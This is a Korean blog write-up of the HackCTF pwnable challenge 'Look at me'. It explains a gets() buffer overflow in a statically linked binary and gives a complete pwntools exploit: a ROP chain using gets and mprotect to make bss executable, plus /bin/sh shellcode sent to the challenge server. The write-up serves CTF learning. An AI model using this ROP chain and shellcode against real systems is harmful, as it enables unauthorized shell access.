ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HackCTF : Pwnable] Look at me (250p)
    Wargame/HackCTF 2021. 12. 27. 10:44

    [HackCTF : Pwnable] Look at me (250p)

    32bit, statically linked

    입력받고 종료한다.

    main
    look_at_me

    gets()에서 bof가 터진다.

     

    statically linked로 컴파일되어있어 libc에 있는 함수들을 사용하지 못한다.

    그래서 이 바이너리 안에있는 mprotect라는 함수로 익스하면 된다.

    메모리 영역에 대한 권한을 관리하는 함수다.

    bss영역에 쉘 코드를 넣고 실행권한을 주고 실행하면 된다.

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    from pwn import *
     
    # p = process("./lookatme")
    = remote("ctf.j0n9hyun.xyz",3017)
    = ELF("./lookatme")
     
    mprotect = e.symbols['mprotect']
    gets = e.symbols['gets']
     
    bss_start = 0x080ea000
    bss = 0x080eaf80
    pppr = 0x080509d5
    pr = 0x080583bf
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
     
    payload = "A"*28
    payload += p32(gets)
    payload += p32(pr)
    payload += p32(bss)
     
    payload += p32(mprotect)
    payload += p32(pppr)
    payload += p32(bss_start)
    payload += p32(0x1000)
    payload += p32(7)
    payload += p32(bss)
     
    p.sendline(payload)
    p.sendline(shellcode)
     
    p.interactive()
    cs

     

    exploit

    'Wargame > HackCTF' 카테고리의 다른 글

    [HackCTF : Pwnable] Pwning (300p)  (0) 2021.12.27
    [HackCTF : Pwnable] Beginner_Heap(250p)  (0) 2021.12.24
    [HackCTF : Pwnable] Gift(250p)  (0) 2021.11.26
    [HackCTF : Pwnable] 1996 (200p)  (0) 2021.11.25
    [HackCTF : Pwnable] g++ pwn (200p)  (2) 2021.11.15

    댓글

Designed by Tistory.